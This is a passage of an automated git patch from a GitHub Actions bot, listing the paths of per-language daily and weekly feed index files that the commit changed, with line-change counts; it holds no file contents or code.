From 7f14f96f2809d10ead7d0c79401c06633c1583c0 Mon Sep 17 00:00:00 2001 From: github-actions-bot Date: Mon, 25 Sep 2023 13:03:26 +0000 Subject: [PATCH] Updates --- 1c-enterprise/daily/index.xml | 2 +- 1c-enterprise/weekly/index.xml | 7 ---- 2-dimensional-array/daily/index.xml | 2 +- 2-dimensional-array/weekly/index.xml | 7 ---- 4d/daily/index.xml | 2 +- 4d/weekly/index.xml | 7 ---- abap-cds/daily/index.xml | 2 +- abap-cds/weekly/index.xml | 7 ---- abap/daily/index.xml | 2 +- abap/weekly/index.xml | 7 ---- abnf/daily/index.xml | 2 +- abnf/weekly/index.xml | 7 ---- actionscript/daily/index.xml | 2 +- actionscript/weekly/index.xml | 7 ---- ada/daily/index.xml | 2 +- ada/weekly/index.xml | 7 ---- adobe-font-metrics/daily/index.xml | 2 +- adobe-font-metrics/weekly/index.xml | 7 ---- agda/daily/index.xml | 2 +- agda/weekly/index.xml | 7 ---- ags-script/daily/index.xml | 2 +- ags-script/weekly/index.xml | 7 ---- aidl/daily/index.xml | 2 +- aidl/weekly/index.xml | 7 ---- al/daily/index.xml | 2 +- al/weekly/index.xml | 7 ---- all/daily/index.xml | 32 +++++++++--------- all/weekly/index.xml | 28 ---------------- alloy/daily/index.xml | 2 +- alloy/weekly/index.xml | 7 ---- alpine-abuild/daily/index.xml | 2 +- alpine-abuild/weekly/index.xml | 7 ---- altium-designer/daily/index.xml | 2 +- altium-designer/weekly/index.xml | 7 ---- ampl/daily/index.xml | 2 +- ampl/weekly/index.xml | 7 ---- angelscript/daily/index.xml | 2 +- angelscript/weekly/index.xml | 7 ---- ant-build-system/daily/index.xml | 2 +- ant-build-system/weekly/index.xml | 7 ---- antlr/daily/index.xml | 2 +- antlr/weekly/index.xml | 7 ---- apacheconf/daily/index.xml | 2 +- apacheconf/weekly/index.xml | 7 ---- apex/daily/index.xml | 2 +- apex/weekly/index.xml | 7 ---- api-blueprint/daily/index.xml | 2 +- api-blueprint/weekly/index.xml | 7 ---- apl/daily/index.xml | 2 +- apl/weekly/index.xml | 7 ---- apollo-guidance-computer/daily/index.xml | 2 +- apollo-guidance-computer/weekly/index.xml | 7 ---- applescript/daily/index.xml | 9 ++++- applescript/weekly/index.xml | 7 ---- arc/daily/index.xml | 2 +- arc/weekly/index.xml | 7 ---- asciidoc/daily/index.xml | 9 +---- asciidoc/weekly/index.xml | 7 ---- asl/daily/index.xml | 2 +- asl/weekly/index.xml | 7 ---- asn.1/daily/index.xml | 2 +- asn.1/weekly/index.xml | 7 ---- asp.net/daily/index.xml | 2 +- asp.net/weekly/index.xml | 7 ---- aspectj/daily/index.xml | 2 +- aspectj/weekly/index.xml | 7 ---- assembly/daily/index.xml | 16 +-------- assembly/weekly/index.xml | 7 ---- astro/daily/index.xml | 16 +-------- astro/weekly/index.xml | 21 ------------ asymptote/daily/index.xml | 2 +- asymptote/weekly/index.xml | 7 ---- ats/daily/index.xml | 2 +- ats/weekly/index.xml | 7 ---- augeas/daily/index.xml | 2 +- augeas/weekly/index.xml | 7 ---- autohotkey/daily/index.xml | 2 +- autohotkey/weekly/index.xml | 21 ------------ autoit/daily/index.xml | 2 +- autoit/weekly/index.xml | 7 ---- avro-idl/daily/index.xml | 2 +- avro-idl/weekly/index.xml | 7 ---- awk/daily/index.xml | 2 +- awk/weekly/index.xml | 7 ---- ballerina/daily/index.xml | 2 +- ballerina/weekly/index.xml | 14 -------- basic/daily/index.xml | 2 +- basic/weekly/index.xml | 7 ---- batchfile/daily/index.xml | 9 +---- batchfile/weekly/index.xml | 7 ---- beef/daily/index.xml | 2 +- beef/weekly/index.xml | 7 ---- befunge/daily/index.xml | 2 +- befunge/weekly/index.xml | 7 ---- berry/daily/index.xml | 2 +- berry/weekly/index.xml | 7 ---- bibtex/daily/index.xml | 2 +- bibtex/weekly/index.xml | 7 ---- bicep/daily/index.xml | 2 +- bicep/weekly/index.xml | 7 ---- bison/daily/index.xml | 2 +- bison/weekly/index.xml | 7 ---- bitbake/daily/index.xml | 2 +- bitbake/weekly/index.xml | 14 -------- blade/daily/index.xml | 9 +---- blade/weekly/index.xml | 21 ------------ blitzbasic/daily/index.xml | 2 +- blitzbasic/weekly/index.xml | 7 ---- blitzmax/daily/index.xml | 2 +- blitzmax/weekly/index.xml | 7 ---- bluespec/daily/index.xml | 2 +- bluespec/weekly/index.xml | 7 ---- boo/daily/index.xml | 2 +- boo/weekly/index.xml | 7 ---- boogie/daily/index.xml | 2 +- boogie/weekly/index.xml | 7 ---- brainfuck/daily/index.xml | 2 +- brainfuck/weekly/index.xml | 7 ---- brightscript/daily/index.xml | 2 +- brightscript/weekly/index.xml | 7 ---- browserslist/daily/index.xml | 2 +- browserslist/weekly/index.xml | 7 ---- c%23/daily/index.xml | 22 ++++++------- c%23/weekly/index.xml | 28 ---------------- c++/daily/index.xml | 19 +++++++---- c++/weekly/index.xml | 28 ---------------- c-objdump/daily/index.xml | 2 +- c-objdump/weekly/index.xml | 7 ---- c/daily/index.xml | 19 +++++++---- c/weekly/index.xml | 28 ---------------- c2hs-haskell/daily/index.xml | 2 +- c2hs-haskell/weekly/index.xml | 7 ---- cabal-config/daily/index.xml | 2 +- cabal-config/weekly/index.xml | 7 ---- cadence/daily/index.xml | 2 +- cadence/weekly/index.xml | 7 ---- cairo/daily/index.xml | 2 +- cairo/weekly/index.xml | 14 -------- cap'n-proto/daily/index.xml | 2 +- cap'n-proto/weekly/index.xml | 7 ---- cartocss/daily/index.xml | 2 +- cartocss/weekly/index.xml | 7 ---- ceylon/daily/index.xml | 2 +- ceylon/weekly/index.xml | 7 ---- chapel/daily/index.xml | 2 +- chapel/weekly/index.xml | 7 ---- charity/daily/index.xml | 2 +- charity/weekly/index.xml | 7 ---- chuck/daily/index.xml | 2 +- chuck/weekly/index.xml | 7 ---- cil/daily/index.xml | 2 +- cil/weekly/index.xml | 7 ---- cirru/daily/index.xml | 2 +- cirru/weekly/index.xml | 7 ---- clarion/daily/index.xml | 2 +- clarion/weekly/index.xml | 7 ---- clarity/daily/index.xml | 2 +- clarity/weekly/index.xml | 7 ---- classic-asp/daily/index.xml | 2 +- classic-asp/weekly/index.xml | 14 -------- clean/daily/index.xml | 2 +- clean/weekly/index.xml | 7 ---- click/daily/index.xml | 2 +- click/weekly/index.xml | 7 ---- clips/daily/index.xml | 2 +- clips/weekly/index.xml | 7 ---- clojure/daily/index.xml | 9 +---- clojure/weekly/index.xml | 14 -------- closure-templates/daily/index.xml | 2 +- closure-templates/weekly/index.xml | 7 ---- .../daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- cmake/daily/index.xml | 2 +- cmake/weekly/index.xml | 21 ------------ cobol/daily/index.xml | 9 ++++- cobol/weekly/index.xml | 14 -------- codeowners/daily/index.xml | 2 +- codeowners/weekly/index.xml | 7 ---- codeql/daily/index.xml | 2 +- codeql/weekly/index.xml | 7 ---- coffeescript/daily/index.xml | 2 +- coffeescript/weekly/index.xml | 28 ---------------- coldfusion-cfc/daily/index.xml | 2 +- coldfusion-cfc/weekly/index.xml | 7 ---- coldfusion/daily/index.xml | 2 +- coldfusion/weekly/index.xml | 7 ---- collada/daily/index.xml | 2 +- collada/weekly/index.xml | 7 ---- common-lisp/daily/index.xml | 9 ++++- common-lisp/weekly/index.xml | 7 ---- common-workflow-language/daily/index.xml | 2 +- common-workflow-language/weekly/index.xml | 7 ---- component-pascal/daily/index.xml | 2 +- component-pascal/weekly/index.xml | 7 ---- conll-u/daily/index.xml | 2 +- conll-u/weekly/index.xml | 7 ---- cool/daily/index.xml | 2 +- cool/weekly/index.xml | 7 ---- coq/daily/index.xml | 2 +- coq/weekly/index.xml | 7 ---- cpp-objdump/daily/index.xml | 2 +- cpp-objdump/weekly/index.xml | 7 ---- creole/daily/index.xml | 2 +- creole/weekly/index.xml | 7 ---- crystal/daily/index.xml | 2 +- crystal/weekly/index.xml | 7 ---- cson/daily/index.xml | 2 +- cson/weekly/index.xml | 7 ---- csound-document/daily/index.xml | 2 +- csound-document/weekly/index.xml | 7 ---- csound-score/daily/index.xml | 2 +- csound-score/weekly/index.xml | 7 ---- csound/daily/index.xml | 2 +- csound/weekly/index.xml | 7 ---- css/daily/index.xml | 23 +------------ css/weekly/index.xml | 28 ---------------- csv/daily/index.xml | 2 +- csv/weekly/index.xml | 7 ---- cuda/daily/index.xml | 9 ++++- cuda/weekly/index.xml | 14 -------- cue/daily/index.xml | 2 +- cue/weekly/index.xml | 7 ---- curl-config/daily/index.xml | 2 +- curl-config/weekly/index.xml | 7 ---- curry/daily/index.xml | 2 +- curry/weekly/index.xml | 7 ---- cweb/daily/index.xml | 2 +- cweb/weekly/index.xml | 7 ---- cycript/daily/index.xml | 2 +- cycript/weekly/index.xml | 7 ---- cython/daily/index.xml | 2 +- cython/weekly/index.xml | 14 -------- d-objdump/daily/index.xml | 2 +- d-objdump/weekly/index.xml | 7 ---- d/daily/index.xml | 9 ++++- d/weekly/index.xml | 21 ------------ dafny/daily/index.xml | 2 +- dafny/weekly/index.xml | 7 ---- darcs-patch/daily/index.xml | 2 +- darcs-patch/weekly/index.xml | 7 ---- dart/daily/index.xml | 9 +---- dart/weekly/index.xml | 28 ---------------- dataweave/daily/index.xml | 2 +- dataweave/weekly/index.xml | 7 ---- debian-package-control-file/daily/index.xml | 2 +- debian-package-control-file/weekly/index.xml | 7 ---- denizenscript/daily/index.xml | 2 +- denizenscript/weekly/index.xml | 7 ---- desktop/daily/index.xml | 2 +- desktop/weekly/index.xml | 7 ---- dhall/daily/index.xml | 2 +- dhall/weekly/index.xml | 7 ---- diff/daily/index.xml | 2 +- diff/weekly/index.xml | 7 ---- digital-command-language/daily/index.xml | 2 +- digital-command-language/weekly/index.xml | 7 ---- dircolors/daily/index.xml | 2 +- dircolors/weekly/index.xml | 7 ---- directx-3d-file/daily/index.xml | 2 +- directx-3d-file/weekly/index.xml | 7 ---- dm/daily/index.xml | 2 +- dm/weekly/index.xml | 7 ---- dns-zone/daily/index.xml | 2 +- dns-zone/weekly/index.xml | 7 ---- dockerfile/daily/index.xml | 9 ++++- dockerfile/weekly/index.xml | 21 ------------ dogescript/daily/index.xml | 2 +- dogescript/weekly/index.xml | 7 ---- dtrace/daily/index.xml | 2 +- dtrace/weekly/index.xml | 7 ---- dylan/daily/index.xml | 2 +- dylan/weekly/index.xml | 7 ---- e-mail/daily/index.xml | 2 +- e-mail/weekly/index.xml | 7 ---- e/daily/index.xml | 2 +- e/weekly/index.xml | 7 ---- eagle/daily/index.xml | 2 +- eagle/weekly/index.xml | 7 ---- earthly/daily/index.xml | 2 +- earthly/weekly/index.xml | 7 ---- easybuild/daily/index.xml | 2 +- easybuild/weekly/index.xml | 7 ---- ebnf/daily/index.xml | 2 +- ebnf/weekly/index.xml | 7 ---- ec/daily/index.xml | 2 +- ec/weekly/index.xml | 7 ---- ecere-projects/daily/index.xml | 2 +- ecere-projects/weekly/index.xml | 7 ---- ecl/daily/index.xml | 2 +- ecl/weekly/index.xml | 7 ---- eclipse/daily/index.xml | 2 +- eclipse/weekly/index.xml | 7 ---- editorconfig/daily/index.xml | 2 +- editorconfig/weekly/index.xml | 7 ---- edje-data-collection/daily/index.xml | 2 +- edje-data-collection/weekly/index.xml | 7 ---- edn/daily/index.xml | 2 +- edn/weekly/index.xml | 7 ---- eiffel/daily/index.xml | 2 +- eiffel/weekly/index.xml | 7 ---- ejs/daily/index.xml | 2 +- ejs/weekly/index.xml | 21 ------------ elixir/daily/index.xml | 9 ++++- elixir/weekly/index.xml | 28 ---------------- elm/daily/index.xml | 2 +- elm/weekly/index.xml | 7 ---- emacs-lisp/daily/index.xml | 12 +++---- emacs-lisp/weekly/index.xml | 28 ---------------- emberscript/daily/index.xml | 2 +- emberscript/weekly/index.xml | 7 ---- eq/daily/index.xml | 2 +- eq/weekly/index.xml | 7 ---- erlang/daily/index.xml | 2 +- erlang/weekly/index.xml | 14 -------- euphoria/daily/index.xml | 2 +- euphoria/weekly/index.xml | 7 ---- f%23/daily/index.xml | 2 +- f%23/weekly/index.xml | 21 ------------ f*/daily/index.xml | 2 +- f*/weekly/index.xml | 7 ---- factor/daily/index.xml | 2 +- factor/weekly/index.xml | 7 ---- fancy/daily/index.xml | 2 +- fancy/weekly/index.xml | 7 ---- fantom/daily/index.xml | 2 +- fantom/weekly/index.xml | 7 ---- faust/daily/index.xml | 2 +- faust/weekly/index.xml | 7 ---- fennel/daily/index.xml | 2 +- fennel/weekly/index.xml | 7 ---- figlet-font/daily/index.xml | 2 +- figlet-font/weekly/index.xml | 7 ---- filebench-wml/daily/index.xml | 2 +- filebench-wml/weekly/index.xml | 7 ---- filterscript/daily/index.xml | 2 +- filterscript/weekly/index.xml | 7 ---- fish/daily/index.xml | 2 +- fish/weekly/index.xml | 7 ---- fluent/daily/index.xml | 2 +- fluent/weekly/index.xml | 7 ---- flux/daily/index.xml | 2 +- flux/weekly/index.xml | 7 ---- formatted/daily/index.xml | 2 +- formatted/weekly/index.xml | 7 ---- forth/daily/index.xml | 2 +- forth/weekly/index.xml | 7 ---- fortran-free-form/daily/index.xml | 2 +- fortran-free-form/weekly/index.xml | 7 ---- fortran/daily/index.xml | 2 +- fortran/weekly/index.xml | 14 -------- freebasic/daily/index.xml | 2 +- freebasic/weekly/index.xml | 7 ---- freemarker/daily/index.xml | 2 +- freemarker/weekly/index.xml | 7 ---- frege/daily/index.xml | 2 +- frege/weekly/index.xml | 7 ---- futhark/daily/index.xml | 2 +- futhark/weekly/index.xml | 7 ---- g-code/daily/index.xml | 2 +- g-code/weekly/index.xml | 7 ---- game-maker-language/daily/index.xml | 2 +- game-maker-language/weekly/index.xml | 7 ---- gaml/daily/index.xml | 2 +- gaml/weekly/index.xml | 7 ---- gams/daily/index.xml | 2 +- gams/weekly/index.xml | 7 ---- gap/daily/index.xml | 2 +- gap/weekly/index.xml | 7 ---- gcc-machine-description/daily/index.xml | 2 +- gcc-machine-description/weekly/index.xml | 7 ---- gdb/daily/index.xml | 2 +- gdb/weekly/index.xml | 7 ---- gdscript/daily/index.xml | 22 ++++++------- gdscript/weekly/index.xml | 28 ---------------- gedcom/daily/index.xml | 2 +- gedcom/weekly/index.xml | 7 ---- gemfile.lock/daily/index.xml | 2 +- gemfile.lock/weekly/index.xml | 7 ---- genero-forms/daily/index.xml | 2 +- genero-forms/weekly/index.xml | 7 ---- genero/daily/index.xml | 2 +- genero/weekly/index.xml | 7 ---- genie/daily/index.xml | 2 +- genie/weekly/index.xml | 7 ---- genshi/daily/index.xml | 2 +- genshi/weekly/index.xml | 7 ---- gentoo-ebuild/daily/index.xml | 2 +- gentoo-ebuild/weekly/index.xml | 7 ---- gentoo-eclass/daily/index.xml | 2 +- gentoo-eclass/weekly/index.xml | 7 ---- gerber-image/daily/index.xml | 2 +- gerber-image/weekly/index.xml | 7 ---- gettext-catalog/daily/index.xml | 2 +- gettext-catalog/weekly/index.xml | 7 ---- gherkin/daily/index.xml | 2 +- gherkin/weekly/index.xml | 7 ---- git-attributes/daily/index.xml | 2 +- git-attributes/weekly/index.xml | 7 ---- git-config/daily/index.xml | 2 +- git-config/weekly/index.xml | 7 ---- gleam/daily/index.xml | 9 ++++- gleam/weekly/index.xml | 7 ---- glsl/daily/index.xml | 9 +---- glsl/weekly/index.xml | 14 -------- .../daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- glyph/daily/index.xml | 2 +- glyph/weekly/index.xml | 7 ---- gn/daily/index.xml | 2 +- gn/weekly/index.xml | 7 ---- gnuplot/daily/index.xml | 2 +- gnuplot/weekly/index.xml | 7 ---- go-checksums/daily/index.xml | 2 +- go-checksums/weekly/index.xml | 7 ---- go-module/daily/index.xml | 2 +- go-module/weekly/index.xml | 7 ---- go/daily/index.xml | 19 ++++------- go/weekly/index.xml | 28 ---------------- golo/daily/index.xml | 2 +- golo/weekly/index.xml | 7 ---- gosu/daily/index.xml | 2 +- gosu/weekly/index.xml | 7 ---- grace/daily/index.xml | 2 +- grace/weekly/index.xml | 7 ---- gradle/daily/index.xml | 2 +- gradle/weekly/index.xml | 7 ---- grammatical-framework/daily/index.xml | 2 +- grammatical-framework/weekly/index.xml | 7 ---- graph-modeling-language/daily/index.xml | 2 +- graph-modeling-language/weekly/index.xml | 7 ---- graphql/daily/index.xml | 2 +- graphql/weekly/index.xml | 7 ---- graphviz-(dot)/daily/index.xml | 2 +- graphviz-(dot)/weekly/index.xml | 7 ---- groovy-server-pages/daily/index.xml | 2 +- groovy-server-pages/weekly/index.xml | 7 ---- groovy/daily/index.xml | 9 +---- groovy/weekly/index.xml | 21 ------------ gsc/daily/index.xml | 2 +- gsc/weekly/index.xml | 7 ---- hack/daily/index.xml | 2 +- hack/weekly/index.xml | 7 ---- haml/daily/index.xml | 2 +- haml/weekly/index.xml | 7 ---- handlebars/daily/index.xml | 2 +- handlebars/weekly/index.xml | 14 -------- haproxy/daily/index.xml | 2 +- haproxy/weekly/index.xml | 7 ---- harbour/daily/index.xml | 2 +- harbour/weekly/index.xml | 7 ---- haskell/daily/index.xml | 23 +------------ haskell/weekly/index.xml | 28 ---------------- haxe/daily/index.xml | 2 +- haxe/weekly/index.xml | 14 -------- hcl/daily/index.xml | 26 +++++++++++---- hcl/weekly/index.xml | 28 ---------------- hiveql/daily/index.xml | 2 +- hiveql/weekly/index.xml | 7 ---- hlsl/daily/index.xml | 2 +- hlsl/weekly/index.xml | 7 ---- holyc/daily/index.xml | 2 +- holyc/weekly/index.xml | 7 ---- hoon/daily/index.xml | 2 +- hoon/weekly/index.xml | 7 ---- html+ecr/daily/index.xml | 2 +- html+ecr/weekly/index.xml | 7 ---- html+eex/daily/index.xml | 2 +- html+eex/weekly/index.xml | 7 ---- html+erb/daily/index.xml | 2 +- html+erb/weekly/index.xml | 7 ---- html+php/daily/index.xml | 2 +- html+php/weekly/index.xml | 7 ---- html+razor/daily/index.xml | 2 +- html+razor/weekly/index.xml | 7 ---- html/daily/index.xml | 9 +---- html/weekly/index.xml | 28 ---------------- http/daily/index.xml | 2 +- http/weekly/index.xml | 7 ---- hxml/daily/index.xml | 2 +- hxml/weekly/index.xml | 7 ---- hy/daily/index.xml | 9 +---- hy/weekly/index.xml | 7 ---- hyphy/daily/index.xml | 2 +- hyphy/weekly/index.xml | 7 ---- idl/daily/index.xml | 2 +- idl/weekly/index.xml | 7 ---- idris/daily/index.xml | 2 +- idris/weekly/index.xml | 7 ---- ignore-list/daily/index.xml | 2 +- ignore-list/weekly/index.xml | 7 ---- igor-pro/daily/index.xml | 2 +- igor-pro/weekly/index.xml | 7 ---- imagej-macro/daily/index.xml | 2 +- imagej-macro/weekly/index.xml | 7 ---- inform-7/daily/index.xml | 2 +- inform-7/weekly/index.xml | 7 ---- ini/daily/index.xml | 2 +- ini/weekly/index.xml | 7 ---- inno-setup/daily/index.xml | 2 +- inno-setup/weekly/index.xml | 7 ---- io/daily/index.xml | 2 +- io/weekly/index.xml | 7 ---- ioke/daily/index.xml | 2 +- ioke/weekly/index.xml | 7 ---- irc-log/daily/index.xml | 2 +- irc-log/weekly/index.xml | 7 ---- isabelle-root/daily/index.xml | 2 +- isabelle-root/weekly/index.xml | 7 ---- isabelle/daily/index.xml | 2 +- isabelle/weekly/index.xml | 7 ---- j/daily/index.xml | 2 +- j/weekly/index.xml | 7 ---- janet/daily/index.xml | 2 +- janet/weekly/index.xml | 7 ---- jar-manifest/daily/index.xml | 2 +- jar-manifest/weekly/index.xml | 7 ---- jasmin/daily/index.xml | 2 +- jasmin/weekly/index.xml | 7 ---- java-properties/daily/index.xml | 2 +- java-properties/weekly/index.xml | 7 ---- java-server-pages/daily/index.xml | 2 +- java-server-pages/weekly/index.xml | 7 ---- java/daily/index.xml | 19 +++++++---- java/weekly/index.xml | 28 ---------------- javascript+erb/daily/index.xml | 2 +- javascript+erb/weekly/index.xml | 7 ---- javascript/daily/index.xml | 32 +++++++++--------- javascript/weekly/index.xml | 28 ---------------- jest-snapshot/daily/index.xml | 2 +- jest-snapshot/weekly/index.xml | 7 ---- jflex/daily/index.xml | 2 +- jflex/weekly/index.xml | 7 ---- jinja/daily/index.xml | 2 +- jinja/weekly/index.xml | 7 ---- jison-lex/daily/index.xml | 2 +- jison-lex/weekly/index.xml | 7 ---- jison/daily/index.xml | 2 +- jison/weekly/index.xml | 7 ---- jolie/daily/index.xml | 2 +- jolie/weekly/index.xml | 7 ---- jq/daily/index.xml | 2 +- jq/weekly/index.xml | 7 ---- json-with-comments/daily/index.xml | 2 +- json-with-comments/weekly/index.xml | 7 ---- json/daily/index.xml | 2 +- json/weekly/index.xml | 7 ---- json5/daily/index.xml | 2 +- json5/weekly/index.xml | 7 ---- jsoniq/daily/index.xml | 2 +- jsoniq/weekly/index.xml | 7 ---- jsonld/daily/index.xml | 2 +- jsonld/weekly/index.xml | 7 ---- jsonnet/daily/index.xml | 2 +- jsonnet/weekly/index.xml | 14 -------- julia/daily/index.xml | 9 +---- julia/weekly/index.xml | 14 -------- jupyter-notebook/daily/index.xml | 26 ++++----------- jupyter-notebook/weekly/index.xml | 28 ---------------- kaitai-struct/daily/index.xml | 2 +- kaitai-struct/weekly/index.xml | 7 ---- kakounescript/daily/index.xml | 2 +- kakounescript/weekly/index.xml | 7 ---- kicad-layout/daily/index.xml | 2 +- kicad-layout/weekly/index.xml | 7 ---- kicad-legacy-layout/daily/index.xml | 2 +- kicad-legacy-layout/weekly/index.xml | 7 ---- kicad-schematic/daily/index.xml | 2 +- kicad-schematic/weekly/index.xml | 7 ---- kit/daily/index.xml | 2 +- kit/weekly/index.xml | 7 ---- kotlin/daily/index.xml | 9 +---- kotlin/weekly/index.xml | 28 ---------------- krl/daily/index.xml | 2 +- krl/weekly/index.xml | 7 ---- kusto/daily/index.xml | 2 +- kusto/weekly/index.xml | 7 ---- kvlang/daily/index.xml | 2 +- kvlang/weekly/index.xml | 7 ---- labview/daily/index.xml | 2 +- labview/weekly/index.xml | 7 ---- lark/daily/index.xml | 2 +- lark/weekly/index.xml | 7 ---- lasso/daily/index.xml | 2 +- lasso/weekly/index.xml | 7 ---- latte/daily/index.xml | 2 +- latte/weekly/index.xml | 7 ---- lean/daily/index.xml | 16 +-------- lean/weekly/index.xml | 28 ---------------- less/daily/index.xml | 2 +- less/weekly/index.xml | 7 ---- lex/daily/index.xml | 2 +- lex/weekly/index.xml | 7 ---- lfe/daily/index.xml | 2 +- lfe/weekly/index.xml | 7 ---- ligolang/daily/index.xml | 2 +- ligolang/weekly/index.xml | 7 ---- lilypond/daily/index.xml | 2 +- lilypond/weekly/index.xml | 7 ---- limbo/daily/index.xml | 2 +- limbo/weekly/index.xml | 7 ---- linker-script/daily/index.xml | 2 +- linker-script/weekly/index.xml | 7 ---- linux-kernel-module/daily/index.xml | 2 +- linux-kernel-module/weekly/index.xml | 7 ---- liquid/daily/index.xml | 2 +- liquid/weekly/index.xml | 7 ---- literate-agda/daily/index.xml | 2 +- literate-agda/weekly/index.xml | 7 ---- literate-coffeescript/daily/index.xml | 2 +- literate-coffeescript/weekly/index.xml | 7 ---- literate-haskell/daily/index.xml | 2 +- literate-haskell/weekly/index.xml | 7 ---- livescript/daily/index.xml | 2 +- livescript/weekly/index.xml | 7 ---- llvm/daily/index.xml | 2 +- llvm/weekly/index.xml | 7 ---- logos/daily/index.xml | 2 +- logos/weekly/index.xml | 14 -------- logtalk/daily/index.xml | 2 +- logtalk/weekly/index.xml | 7 ---- lolcode/daily/index.xml | 2 +- lolcode/weekly/index.xml | 7 ---- lookml/daily/index.xml | 2 +- lookml/weekly/index.xml | 7 ---- loomscript/daily/index.xml | 2 +- loomscript/weekly/index.xml | 7 ---- lsl/daily/index.xml | 2 +- lsl/weekly/index.xml | 7 ---- ltspice-symbol/daily/index.xml | 2 +- ltspice-symbol/weekly/index.xml | 7 ---- lua/daily/index.xml | 9 +---- lua/weekly/index.xml | 28 ---------------- m/daily/index.xml | 2 +- m/weekly/index.xml | 7 ---- m4/daily/index.xml | 2 +- m4/weekly/index.xml | 7 ---- m4sugar/daily/index.xml | 2 +- m4sugar/weekly/index.xml | 7 ---- macaulay2/daily/index.xml | 2 +- macaulay2/weekly/index.xml | 7 ---- makefile/daily/index.xml | 19 ++++------- makefile/weekly/index.xml | 28 ---------------- mako/daily/index.xml | 2 +- mako/weekly/index.xml | 7 ---- markdown/daily/index.xml | 9 ++++- markdown/weekly/index.xml | 14 -------- marko/daily/index.xml | 2 +- marko/weekly/index.xml | 7 ---- mask/daily/index.xml | 2 +- mask/weekly/index.xml | 7 ---- mathematica/daily/index.xml | 2 +- mathematica/weekly/index.xml | 7 ---- matlab/daily/index.xml | 9 +---- matlab/weekly/index.xml | 28 ---------------- maven-pom/daily/index.xml | 2 +- maven-pom/weekly/index.xml | 7 ---- max/daily/index.xml | 2 +- max/weekly/index.xml | 7 ---- maxscript/daily/index.xml | 2 +- maxscript/weekly/index.xml | 7 ---- mcfunction/daily/index.xml | 2 +- mcfunction/weekly/index.xml | 7 ---- mercury/daily/index.xml | 2 +- mercury/weekly/index.xml | 7 ---- meson/daily/index.xml | 2 +- meson/weekly/index.xml | 7 ---- metal/daily/index.xml | 2 +- metal/weekly/index.xml | 7 ---- .../daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- .../daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- minid/daily/index.xml | 2 +- minid/weekly/index.xml | 7 ---- mint/daily/index.xml | 2 +- mint/weekly/index.xml | 7 ---- mirah/daily/index.xml | 2 +- mirah/weekly/index.xml | 7 ---- mirc-script/daily/index.xml | 2 +- mirc-script/weekly/index.xml | 7 ---- mlir/daily/index.xml | 2 +- mlir/weekly/index.xml | 7 ---- modelica/daily/index.xml | 2 +- modelica/weekly/index.xml | 7 ---- modula-2/daily/index.xml | 2 +- modula-2/weekly/index.xml | 7 ---- modula-3/daily/index.xml | 2 +- modula-3/weekly/index.xml | 7 ---- module-management-system/daily/index.xml | 2 +- module-management-system/weekly/index.xml | 7 ---- monkey-c/daily/index.xml | 2 +- monkey-c/weekly/index.xml | 7 ---- monkey/daily/index.xml | 2 +- monkey/weekly/index.xml | 7 ---- moocode/daily/index.xml | 2 +- moocode/weekly/index.xml | 7 ---- moonscript/daily/index.xml | 2 +- moonscript/weekly/index.xml | 7 ---- motoko/daily/index.xml | 2 +- motoko/weekly/index.xml | 7 ---- motorola-68k-assembly/daily/index.xml | 2 +- motorola-68k-assembly/weekly/index.xml | 7 ---- mql4/daily/index.xml | 2 +- mql4/weekly/index.xml | 7 ---- mql5/daily/index.xml | 2 +- mql5/weekly/index.xml | 7 ---- mtml/daily/index.xml | 2 +- mtml/weekly/index.xml | 7 ---- muf/daily/index.xml | 2 +- muf/weekly/index.xml | 7 ---- mupad/daily/index.xml | 2 +- mupad/weekly/index.xml | 7 ---- muse/daily/index.xml | 2 +- muse/weekly/index.xml | 7 ---- mustache/daily/index.xml | 9 ++++- mustache/weekly/index.xml | 7 ---- myghty/daily/index.xml | 2 +- myghty/weekly/index.xml | 7 ---- nanorc/daily/index.xml | 2 +- nanorc/weekly/index.xml | 7 ---- nasl/daily/index.xml | 2 +- nasl/weekly/index.xml | 7 ---- ncl/daily/index.xml | 2 +- ncl/weekly/index.xml | 7 ---- nearley/daily/index.xml | 2 +- nearley/weekly/index.xml | 7 ---- nemerle/daily/index.xml | 2 +- nemerle/weekly/index.xml | 7 ---- neon/daily/index.xml | 2 +- neon/weekly/index.xml | 7 ---- nesc/daily/index.xml | 2 +- nesc/weekly/index.xml | 7 ---- netlinx+erb/daily/index.xml | 2 +- netlinx+erb/weekly/index.xml | 7 ---- netlinx/daily/index.xml | 2 +- netlinx/weekly/index.xml | 7 ---- netlogo/daily/index.xml | 2 +- netlogo/weekly/index.xml | 7 ---- newlisp/daily/index.xml | 2 +- newlisp/weekly/index.xml | 7 ---- nextflow/daily/index.xml | 2 +- nextflow/weekly/index.xml | 7 ---- nginx/daily/index.xml | 2 +- nginx/weekly/index.xml | 14 -------- nim/daily/index.xml | 2 +- nim/weekly/index.xml | 21 ------------ ninja/daily/index.xml | 2 +- ninja/weekly/index.xml | 7 ---- nit/daily/index.xml | 2 +- nit/weekly/index.xml | 7 ---- nix/daily/index.xml | 16 ++++++++- nix/weekly/index.xml | 14 -------- nl/daily/index.xml | 2 +- nl/weekly/index.xml | 7 ---- npm-config/daily/index.xml | 2 +- npm-config/weekly/index.xml | 7 ---- nsis/daily/index.xml | 2 +- nsis/weekly/index.xml | 7 ---- nu/daily/index.xml | 2 +- nu/weekly/index.xml | 7 ---- numpy/daily/index.xml | 2 +- numpy/weekly/index.xml | 7 ---- nunjucks/daily/index.xml | 2 +- nunjucks/weekly/index.xml | 7 ---- nwscript/daily/index.xml | 2 +- nwscript/weekly/index.xml | 7 ---- objdump/daily/index.xml | 2 +- objdump/weekly/index.xml | 7 ---- object-data-instance-notation/daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- objective-c++/daily/index.xml | 2 +- objective-c++/weekly/index.xml | 14 -------- objective-c/daily/index.xml | 2 +- objective-c/weekly/index.xml | 14 -------- objective-j/daily/index.xml | 2 +- objective-j/weekly/index.xml | 7 ---- objectscript/daily/index.xml | 2 +- objectscript/weekly/index.xml | 7 ---- ocaml/daily/index.xml | 2 +- ocaml/weekly/index.xml | 7 ---- odin/daily/index.xml | 2 +- odin/weekly/index.xml | 7 ---- omgrofl/daily/index.xml | 2 +- omgrofl/weekly/index.xml | 7 ---- ooc/daily/index.xml | 2 +- ooc/weekly/index.xml | 7 ---- opa/daily/index.xml | 2 +- opa/weekly/index.xml | 7 ---- opal/daily/index.xml | 2 +- opal/weekly/index.xml | 7 ---- open-policy-agent/daily/index.xml | 2 +- 